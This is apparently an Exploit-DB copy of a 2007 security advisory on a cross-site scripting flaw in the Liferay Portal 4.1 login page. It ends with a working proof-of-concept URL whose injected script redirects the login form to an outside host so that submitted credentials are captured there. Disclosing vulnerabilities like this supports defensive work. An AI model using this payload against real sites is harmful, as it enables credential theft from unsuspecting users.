Liferay Portal 4.1 Login Script - Cross-Site Scripting

EDB-ID:

30774




Platform:

PHP

Date:

2007-11-16


source: https://www.securityfocus.com/bid/26470/info

Liferay Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Liferay Portal 4.1.0 and 4.1.1 are vulnerable; other versions may also be affected.

http://www.example.com/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://www.example2.com%22%3C/script%3E%3Ca%20b=%22c